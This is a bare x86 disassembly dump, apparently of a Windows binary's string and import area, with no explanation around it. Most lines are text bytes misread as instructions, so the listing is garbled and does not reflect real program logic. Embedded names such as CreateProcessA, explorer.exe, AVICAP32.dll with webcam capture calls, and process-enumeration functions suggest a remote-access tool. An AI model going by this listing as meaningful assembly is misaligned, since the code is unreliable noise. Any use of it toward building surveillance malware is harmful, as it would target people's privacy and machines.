insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
push ebx
jns 0x1002093e
je 0x10020932
insd dword es:[edi], dx
push eax
popal
jb 0x10020933
insd dword es:[edi], dx
je 0x1002093b
jb 0x1002094b
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [eax], al
add byte [ebp + 0x53], dl
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
push ebx
insb byte es:[edi], dx
insb byte es:[edi], dx
arpl word gs:[edi + ecx*2 + 0x62], si
push 0x65
arpl word [eax + eax], si
add byte [eax], al
inc ebx
jb 0x10020964
je 0x100208f9
add byte [eax], al
add byte [ebx + 0x72], al
inc ebx
jb 0x10020964
popal
popal
je 0x10020967
inc esp
dec ecx
inc edx
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
inc ebx
jb str.CreateProcessA
popal
je 0x1002097b
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1002097c
je 0x10020986
bound ebp, qword [ebp + 0x44]
inc ebx
add byte [eax], al
inc edi
inc esp
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [ebp + 0x6c], al
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
je 0x1002099b
dec edi
bound ebp, qword [edx + 0x65]
arpl word [eax + eax], si
je 0x1002093d
add byte [eax], al
add byte [ebp + 0x6c], al
inc esp
insb byte es:[edi], dx
add byte [eax], al
inc esp
insb byte es:[edi], dx
je 0x100209ab
inc esp
inc ebx
add byte [eax], al
add byte [eax], al
inc edx
imul esi, dword [edx + eax*2 + 0x6c], 0x47000074
inc edi
je 0x1002099c
add byte [edx + 0x69], al
inc edx
invalid
je 0x10020992
insb byte es:[edi], dx
je 0x10020953
add byte [edi + 0x65], al
inc edi
je 0x1002099c
dec ecx
inc edx
imul esi, dword [ebx + esi*2], 0x72430000
inc ebx
jb 0x100209c8
popal
je 0x100209cb
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x100209cc
je 0x100209d6
bound ebp, qword [ebp + 0x42]
imul esi, dword [ebp + ebp*2 + 0x61], 0x43000070
inc ebx
inc ebx
jb 0x100209e0
popal
je 0x100209e3
push eax
jb 0x100209f0
arpl word [ebp + 0x73], sp
jae 0x100209c7
add byte [eax], al
pop esp
arpl word [ebp + 0x64], bp
js 0x100209f5
add byte [eax], al
add byte [eax], al
inc ebx
jb 0x100209fc
popal
je 0x100209ff
push eax
imul esi, dword [eax + 0x65], 0x654b0000
dec ebx
jb 0x10020a12
jo 0x10020a03
add byte [eax], al
dec ebx
jb 0x10020a12
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x10020a1a
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[ecx + ebp*2 + 0x73], al
inc esp
imul esi, dword [ebx + 0x63], 0x656e6e6f
arpl word [esi + ecx*2 + 0x61], si
popal
insd dword es:[edi], dx
push eax
push eax
imul esi, dword [eax + 0x65], 0x72655400
push esp
jb 0x10020a41
imul ebp, dword [esi + 0x61], 0x72506574
outsd dx, dword [esi]
popal
je 0x10020a3e
push eax
jb 0x10020a4b
arpl word [ebp + 0x73], sp
jae 0x100209e1
add byte [eax], al
add byte [eax], al
push esp
jb 0x10020a55
add byte [eax], al
add byte [ebp + 0x72], dl
push esp
jb 0x10020a55
imul ebp, dword [esi + 0x61], 0x68546574
jb 0x10020a56
popal
popal
add byte fs:[eax + 0x65], dl
push eax
imul ecx, dword gs:[esi + 0x61], 0x6d
imul ecx, dword gs:[esi + 0x61], 0x6d
push eax
push eax
imul esi, dword [eax + 0x65], 0x47000000
inc edi
je 0x10020a55
jo 0x10020a66
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x10020a55
outsd dx, dword [esi]
jne str.explorer.exe
inc esi
imul ebp, dword [ebp + 0x4e], 0x45656d61
popal
insd dword es:[edi], dx
inc ebp
js 0x10020a59
add byte [eax], al
add byte [eax], al
inc ebp
outsb dx, byte [esi]
jne 0x10020a8d
push eax
jb 0x10020a92
arpl word [ebp + 0x73], sp
jae 0x10020a75
outsd dx, dword [esi]
jne 0x10020a98
jae 0x10020a2f
add byte [eax + 0x53], dl
push eax
push ebx
inc ecx
push eax
dec ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
invalid
inc esp
bound esi, qword gs:[ebp + 0x67]
push eax
jb 0x10020aaf
jbe 0x10020ab1
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte gs:[eax], al
add byte [eax], al
push ebx
push ebx
push 0x6f647475
je 0x10020abb
outsd dx, dword fs:[esi]
outsd dx, dword [esi]
ja 0x10020ac8
outsb dx, byte [esi]
push eax
jb 0x10020ac6
jbe 0x10020ac8
insb byte es:[edi], dx
add byte gs:[bx + 0x65], al
inc edi
invalid
je 0x10020aab
jne str.AVICAP32.dll
jb 0x10020ad1
outsb dx, byte [esi]
je 0x10020ac3
push 0x64616572
dec ecx
add byte fs:[eax], al
js 0x10020aeb
insb byte es:[edi], dx
outsd dx, dword [esi]
jb 0x10020ae4
jb 0x10020aaf
js 0x10020ae9
add byte [eax], al
add byte [eax], al
dec ecx
outsb dx, byte [esi]
je 0x10020af1
jb 0x10020afc
outsb dx, byte [esi]
je 0x10020ae3
popal
popal
inc esi
imul ebp, dword [ebp], 0x4d000000
dec ebp
add byte [eax], al
add byte [eax], al
dec ebp
outsd dx, dword [esi]
jp 0x10020b09
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x10020b0f
je 0x10020b19
imul esp, dword [edx + 0x6c], 0x2965
bound ebp, qword [ebp + 0x29]
add byte [eax], al
insb byte es:[edi], dx
sub dword gs:[eax], eax
add byte [eax], al
add byte [ebx + 0x56], al
inc ebx
push esi
add byte [eax], al
inc ebx
push esi
imul esp, dword [ebp + 0x6f], 0x706143
outsd dx, dword gs:[esi]
inc ebx
popal
jo 0x10020ac2
add byte [eax], al
arpl word [ecx + 0x70], sp
inc ebx
add byte [ebx + 0x61], ah
invalid
popal
jo 0x10020b0b
jb 0x10020b2f
popal
je 0x10020b32
inc ebx
popal
jo 0x10020b45
jne 0x10020b45
push edi
imul ebp, dword [esi + 0x64], 0x41776f
inc ecx
push esi
dec ecx
inc ebx
inc ecx
push eax
xor esi, dword [edx]
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
and esi, dword [ebx]
xor dh, byte [edi]
add byte [eax], al
add byte [ebx], ah
and esi, dword [ebx]
xor dh, byte [edi]
aaa
xor byte [eax], al
add byte [ebx + 0x72], al
inc ebx
jb str.ICOpen
popal
je 0x10020b5f
push edi
imul ebp, dword [esi + 0x64], 0x7845776f
inc ecx
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x10020b46
js 0x10020b44
add byte [ebx + 0x61], ah
arpl word [ecx + 0x70], sp
inc edi
je 0x10020b4f
je 0x10020b4f
jb 0x10020b76
jbe 0x10020b74
jb 0x10020b55
jae 0x10020b77
jb 0x10020b7f
jo str.ICSeqCompressFrameEnd
imul ebp, dword [edi + 0x6e], 0x41
add byte [ecx + 0x43], cl
dec ecx
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
inc ecx
add byte [eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x10020b69
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x10020b9c
jae 0x10020ba0
inc esi
jb 0x10020b91
popal
insd dword es:[edi], dx
add byte gs:[eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x10020b7d
outsd dx, dword [esi]
insd dword es:[edi], dx
jo str.wr6201_jqc
jae 0x10020bb4
inc esi
jb 0x10020ba5
insd dword es:[edi], dx
push ebx
push ebx
je 0x10020baa
jb 0x10020bbf
add byte [ecx + 0x43], cl
dec ecx
inc ebx
push ebx
outsb dx, byte gs:[esi]
dec ebp
jae 0x10020bc9
jae 0x10020bb8
popal
add byte gs:[bx + si], al
add byte [ecx + 0x43], cl
dec ecx
inc ebx
dec edi
jo 0x10020bc6
outsb dx, byte [esi]
add byte [eax], al
dec ebp
push ebx
push esi
inc esi
push edi
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x10020bdc
add byte gs:[ecx + 0x43], cl
dec ecx
inc ebx
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x10020bf1
jae 0x10020bf5
outsd dx, dword [esi]
jb 0x10020bcb
jb 0x10020bec
add byte gs:[eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x10020bd5
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x10020c08
jae 0x10020c0c
inc esi
jb 0x10020bfd
insd dword es:[edi], dx
inc ebp
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi + 0x72], dh
ja 0x10020c24
add byte [eax], al
add byte [eax], al
add byte [eax], al
ja 0x10020c24
jge 0x10020bda
xor dh, byte ss:[eax]
xor dword [edx + ebp*2], ebp
sub al, 0x6a
jno 0x10020c1f
add dword [edx], eax
add al, 3
add eax, 0x5040208
add eax, dword [0x5040208]
or byte [ecx], al
add al, byte [ebx + eax]
add dword [edx], eax
add al, 3
add eax, dword [ecx]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [eax], ecx
add dword [edx], eax
add al, 3
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add al, byte [ecx]
add al, byte [ecx]
add eax, dword [0x2010202]
add eax, 0x2010202
add al, byte [ecx]
add al, byte [ecx]
add eax, dword [ebx]
add dword [edx], eax
add eax, dword [0x4020602]
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add eax, dword [ebx]
add al, byte [ecx]
add dword [ebx], eax
push es
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [edx]
add dword [edx], eax
add dword [edx], eax
push es
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add al, byte [0x2010403]
add al, 1
add al, byte [edx]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x5020302
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2060a02
add dword [ebx + 0x77], ebp
imul esi, dword [edi + 0x75], 0x72
cmp dword [edx], ebp
sub eax, 0x2f737571
popal
arpl word [eax + 0x66], bp
jae 0x10020d19
pushal
insb byte es:[edi], dx
outsd dx, dword [esi]
push 0x79762873
jbe 0x10020cfc
add al, 3
add dword [edx], eax
add eax, dword [0x1030602]
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ecx]
add al, byte [ebx]
add al, byte [0x2010403]
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add dh, byte [edi + edx - 0x3731fdfa]
sar bh, 1
mov esp, 0x1fcb8a8
add al, byte [ecx]
add al, byte [ebx]
add al, byte [0x2010403]
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]